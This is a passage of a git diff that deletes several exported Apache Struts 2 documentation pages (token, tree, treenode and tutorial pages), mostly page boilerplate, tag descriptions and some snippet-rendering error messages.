-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13998">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13998">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="token-Description">Description</h2>
-
-<p></p><p>Stop double-submission of forms.</p>
-
-<p></p><p>
-The token tag is used to help with the "double click" submission problem. It is needed if you are using the
-TokenInterceptor or the TokenSessionInterceptor. The s:token tag merely places a hidden element that contains
-the unique token.</p>
-
-<h2 id="token-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="token-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:token /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tree.html b/content/docs/tree.html
deleted file mode 100644
index 5e8dbd0..0000000
--- a/content/docs/tree.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>tree</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="tree.html">tree</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">tree</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14168">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14168">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14168">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14168">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14168">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14168">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div>
-
-<h2 id="tree-Description">Description</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="tree-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="tree-Examples">Examples</h2>
-<p>Static tree:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Dynamic tree (rendered on the server):</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>Dynamic tree loaded with AJAX (one request is made for each node):</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/treenode.html b/content/docs/treenode.html
deleted file mode 100644
index 3c9dd96..0000000
--- a/content/docs/treenode.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>treenode</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="treenode.html">treenode</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">treenode</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14288">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14288">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14288">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14288">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14288">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14288">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div>
-
-<h2 id="treenode-Description">Description</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="treenode-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="treenode-Examples">Examples</h2>
-<p>Update target content with html returned from an action:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tutorialend.html b/content/docs/tutorialend.html
deleted file mode 100644
index 8518a58..0000000
--- a/content/docs/tutorialend.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>TutorialEnd</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="tutoriallesson06.html">TutorialLesson06</a>&nbsp;&gt;&nbsp;<a href="tutorialend.html">TutorialEnd</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">TutorialEnd</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19723">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19723">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19723">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19723">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19723">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19723">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tutoriallesson06.html b/content/docs/tutoriallesson06.html
deleted file mode 100644
index fa2ae8f..0000000
--- a/content/docs/tutoriallesson06.html
+++ /dev/null
@@ -1,389 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>TutorialLesson06</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="tutoriallesson06.html">TutorialLesson06</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">TutorialLesson06</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14155">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14155">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14155">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14155">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14155">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14155">Add News</a>
-        </div>
-    </div>
-
